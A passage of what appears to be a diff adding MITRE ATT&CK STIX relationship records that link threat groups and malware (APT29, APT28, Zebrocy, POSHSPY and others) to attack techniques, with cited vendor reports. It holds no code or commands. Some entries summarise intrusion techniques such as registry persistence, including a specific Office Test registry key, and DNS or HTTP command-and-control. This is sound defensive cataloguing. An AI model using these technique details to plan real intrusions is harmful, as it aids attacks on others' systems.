"external_references": [ + { + "source_name": "Impacket Tools", + "description": "SecureAuth. (n.d.). Retrieved January 15, 2019.", + "url": "https://www.secureauth.com/labs/open-source-tools/impacket" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:27:25.336Z", + "id": "relationship--e9e35351-d53c-4ea3-a439-d43bd636ae32", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.570Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) creates an autostart Registry key to ensure persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:40:37.818Z", + "id": "relationship--22260fda-fb95-4cf4-9e23-ba8662157c1f", + "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", + "modified": "2019-04-23T21:09:54.750Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018.", + "source_name": "Zscaler Cobian Aug 2017", + "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[Octopus](https://attack.mitre.org/software/S0340) uses wmic.exe for local discovery information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:24:09.068Z", + "id": "relationship--b4810e29-e543-4816-a6a2-d9c0b96eed07", + "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "modified": "2019-01-30T13:24:09.068Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "source_name": "Securelist Octopus Oct 2018", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) modifies conditions in the Registry and adds keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:53:14.894Z", + "id": "relationship--b7dfc429-1f62-4bb1-933f-25dfd4fff9ad", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "modified": "2019-04-17T22:22:22.065Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used Port Number 443 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:19:17.691Z", + "id": "relationship--5513a256-0793-4f6b-9e59-fed2e3252419", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.362Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "source_name": "FireEye APT29 Nov 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can capture screenshots of the victim\u2019s machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:19:14.988Z", + "id": "relationship--ed8a6815-fd13-4e73-9b17-6b4025c0861c", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "modified": "2019-07-26T23:22:28.647Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:33:07.903Z", + "id": "relationship--0e6d6b87-84fe-49ed-9b85-cf3cdfa36820", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.552Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + }, + { + "source_name": "McAfee Oceansalt Oct 2018", + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) can utilize proxy for communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:47:41.417Z", + "id": "relationship--2485b970-f934-4fdb-80a4-0e11c179845d", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "modified": "2019-01-30T15:47:41.417Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "source_name": "TrendMicro Lazarus Nov 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can collect the victim\u2019s OS version and machine name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:33:41.085Z", + "id": "relationship--9c5c8dbe-ec34-46f9-b4af-0a6e73f00c89", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.850Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + }, + { + "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.", + "source_name": "Talos MuddyWater May 2019", + "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[zwShell](https://attack.mitre.org/software/S0350) has established persistence by adding itself as a new service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:48:35.709Z", + "id": "relationship--38b1ad70-4d24-4f5c-ad62-e03f38b6752f", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "modified": "2019-01-30T17:48:35.709Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "A variant of [Zebrocy](https://attack.mitre.org/software/S0251) captures screenshots of the victim\u2019s machine in JPEG and BMP format.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:39:48.412Z", + "id": "relationship--3e2d4ce8-0006-4571-b8ea-dbfc4bf7302f", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.845Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "source_name": "Unit42 Cannon Nov 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + }, + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + }, + { + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) collects the MAC address, computer name, hardware UUID, serial number, and operating system version.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:18:20.167Z", + "id": "relationship--588865e4-caec-4150-9c03-df5e28eb9c79", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "modified": "2019-09-26T16:22:41.935Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "source_name": "TrendMicro MacOS April 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Denis](https://attack.mitre.org/software/S0354) compressed collected data using zlib.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T20:01:45.468Z", + "id": "relationship--6a6d57a7-8977-4928-8ef7-71d6c8a9fbfa", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "modified": "2019-04-24T20:56:04.760Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018.", + "source_name": "Securelist Denis April 2017", + "url": "https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[KONNI](https://attack.mitre.org/software/S0356) can gather the OS version, architecture information, connected drives, hostname, and computer name from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:36:41.034Z", + "id": "relationship--172da5b1-cf68-468a-8208-b15ea5c813dc", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "modified": "2019-07-26T18:47:19.504Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.782Z", + "id": "relationship--1c01c64c-8842-44be-bd66-8355eb5d543c", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.980Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) uses DNS for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--c476a0da-44fd-4492-86ae-407aabab3735", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "source_name": "ClearSky Wilted Tulip July 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + }, + { + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "source_name": "CopyKittens Nov 2015", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[POSHSPY](https://attack.mitre.org/software/S0150) uses PowerShell to execute various commands, one to execute its payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8d5d9206-a213-465d-b384-6152eb2796a0", + "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", + "modified": "2019-04-24T23:41:40.113Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "source_name": "FireEye POSHSPY April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can drop a mouse-logger that will take small screenshots around at each click and then send back to the server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--09869965-8dcd-4c20-a997-c075b6ed0434", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:48.036Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "description": "[Thrip](https://attack.mitre.org/groups/G0076) used PsExec to move laterally between computers on the victim\u2019s network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--307f4aac-212f-4c81-9764-d0acf7ca0e55", + "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", + "modified": "2019-03-25T17:06:37.201Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Thrip June 2018", + "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used the Office Test persistence mechanism within Microsoft Office by adding the Registry key HKCU\\Software\\Microsoft\\Office test\\Special\\Perf to execute code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d0560e25-020d-4cd6-b61c-5fc82a757edc", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.711Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Office Test Sofacy", + "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[4H RAT](https://attack.mitre.org/software/S0065) has the capability to create a remote shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--43a63e7a-d673-47c0-9af5-76dcd5a5d9b8", + "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.060Z", + "id": "relationship--7dc4c8b9-a380-4dc0-9973-a8a2f8d0175c", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "modified": "2019-05-30T18:05:32.938Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell Lateral Movement", + "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + }, + { + "source_name": "ThreatStream Evasion Analysis", + "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.", + "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Comnie](https://attack.mitre.org/software/S0244) attempts to detect several anti-virus products.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--26289101-47e6-47a5-bc9f-19bf918721d6", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--c9703cd3-141c-43a0-a926-380082be5d04", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d691e305-8ce5-40cd-a648-b0dcab329e69", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.437Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) renames one of its .dll files to uxtheme.dll in an apparent attempt to masquerade as a legitimate file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c7c24601-7125-4079-9d48-138594b3f86c", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-08-12T17:30:07.499Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Proton](https://attack.mitre.org/software/S0279) uses an encrypted file to store commands and configuration values.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8183d862-5383-4a42-acbd-be58e120cb25", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "modified": "2019-06-24T19:03:52.719Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[SNUGRIDE](https://attack.mitre.org/software/S0159) establishes persistence through a Registry Run key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c75cc595-79d7-4a77-9647-d2323aad93d0", + "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "source_name": "FireEye APT10 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[DownPaper](https://attack.mitre.org/software/S0186) collects the victim host name and serial number, and then sends the information to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--396edbf6-41b5-4377-90b6-4967c24de7fb", + "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "source_name": "ClearSky Charming Kitten Dec 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[WinMM](https://attack.mitre.org/software/S0059) uses HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9df1a5b0-f1fb-4239-abb5-67ba6e9e05f6", + "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de", + "modified": "2019-05-03T16:45:45.280Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": 